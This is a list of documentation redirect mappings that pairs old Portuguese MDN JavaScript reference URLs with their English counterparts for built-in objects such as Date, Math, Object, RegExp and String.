/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getHours -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMinutes -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMonth -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getSeconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getTime /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTime -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getTimezoneOffset /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCDate -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCDay /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCDay -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCHours -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/now /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/parse /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setDate -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setFullYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setHours -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMinutes -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMonth -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setSeconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setTime /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setTime -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCDate -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCHours -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setYear -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toDateString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toDateString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toGMTString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toGMTString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toISOString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toJSON /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleDateString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleTimeString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toTimeString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toTimeString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toUTCString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/valueOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/Stack /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/Stack -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/message /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/message -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/name /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/name -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/EvalError /en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError -/pt-PT/docs/JavaScript/Referência/Global_Objects/EvalError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/apply /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/arguments /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/arguments -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/bind /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/call /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/caller /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/caller -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/name /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Generator /en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator -/pt-PT/docs/JavaScript/Referência/Global_Objects/Infinity /en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity -/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON -/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON/parse /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse -/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON/stringify /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/E -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LN10 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LN10 -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LN2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LN2 -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LOG10E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LOG10E -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LOG2E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LOG2E -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/PI /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/SQRT1_2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/SQRT2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/SQRT2 -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/abs /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/abs -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/acos /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/acos -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/asin /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/asin -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/atan /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/atan2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2 -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/ceil /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/cos /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/exp /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/exp -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/floor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/log /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/log -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/max /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/min /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/pow /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/random /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/round /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/sin /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/sqrt /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt -/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/tan /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan -/pt-PT/docs/JavaScript/Referência/Global_Objects/NaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/MAX_VALUE /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/MIN_VALUE /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/NEGATIVE_INFINITY /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/NaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/NaN -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/POSITIVE_INFINITY /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toExponential /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toFixed /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toPrecision /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toPrecision -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/valueOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/create /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineGetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__ -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineProperties /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineProperty /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineSetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__ -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/freeze /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/getOwnPropertyDescriptor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/getOwnPropertyNames /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/hasOwnProperty /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isExtensible /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isFrozen /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isPrototypeOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isSealed /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/keys /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/lookupGetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__ -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/lookupSetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__ -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/preventExtensions /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/propertyIsEnumerable /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/proto /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/seal /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toLocaleString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toLocaleString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/Proxy /en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy -/pt-PT/docs/JavaScript/Referência/Global_Objects/RangeError /en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError -/pt-PT/docs/JavaScript/Referência/Global_Objects/RangeError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError -/pt-PT/docs/JavaScript/Referência/Global_Objects/ReferenceError /en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError -/pt-PT/docs/JavaScript/Referência/Global_Objects/ReferenceError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/exec /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/global /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/ignoreCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/lastIndex /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/multiline /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/source /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/test /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/String /en-US/docs/Web/JavaScript/Reference/Global_Objects/String -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/Trim /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/TrimLeft /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/TrimRight /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/anchor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/anchor -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/big /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/big -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/blink /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/blink -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/bold /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/bold -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/charAt /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/charCodeAt /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/concat /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fixed /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fixed -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fontcolor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fontcolor -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fontsize /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fontsize -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fromCharCode /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/indexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/italics /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/italics -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/lastIndexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/link /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/link -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/localeCompare /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/match /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/String -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/replace /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/search /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/slice /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/small /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/small -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/split /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/strike /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/strike -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/sub /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/sub -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/substr /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/substring /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/sup /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/sup -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLocaleLowerCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLocaleUpperCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLowerCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toSource -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toString -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toUpperCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase -/pt-PT/docs/JavaScript/Referência/Global_Objects/String/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/valueOf -/pt-PT/docs/JavaScript/Referência/Global_Objects/SyntaxError /en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError -/pt-PT/docs/JavaScript/Referência/Global_Objects/SyntaxError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError -/pt-PT/docs/JavaScript/Referência/Global_Objects/TypeError /en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError -/pt-PT/docs/JavaScript/Referência/Global_Objects/TypeError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError -/pt-PT/docs/JavaScript/Referência/Global_Objects/URIError /en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError -/pt-PT/docs/JavaScript/Referência/Global_Objects/URIError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError -/pt-PT/docs/JavaScript/Referência/Global_Objects/WeakMap /en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap -/pt-PT/docs/JavaScript/Referência/Global_Objects/decodeURI /en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI -/pt-PT/docs/JavaScript/Referência/Global_Objects/decodeURIComponent /en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent -/pt-PT/docs/JavaScript/Referência/Global_Objects/encodeURI /en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI -/pt-PT/docs/JavaScript/Referência/Global_Objects/encodeURIComponent /en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent -/pt-PT/docs/JavaScript/Referência/Global_Objects/eval /en-US/docs/Web/JavaScript/Reference/Global_Objects/eval -/pt-PT/docs/JavaScript/Referência/Global_Objects/isFinite /en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite -/pt-PT/docs/JavaScript/Referência/Global_Objects/isNaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN -/pt-PT/docs/JavaScript/Referência/Global_Objects/parseFloat /en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat -/pt-PT/docs/JavaScript/Referência/Global_Objects/parseInt /en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt -/pt-PT/docs/JavaScript/Referência/Global_Objects/undefined /en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined -/pt-PT/docs/JavaScript/Referência/Operators /en-US/docs/Web/JavaScript/Reference/Operators 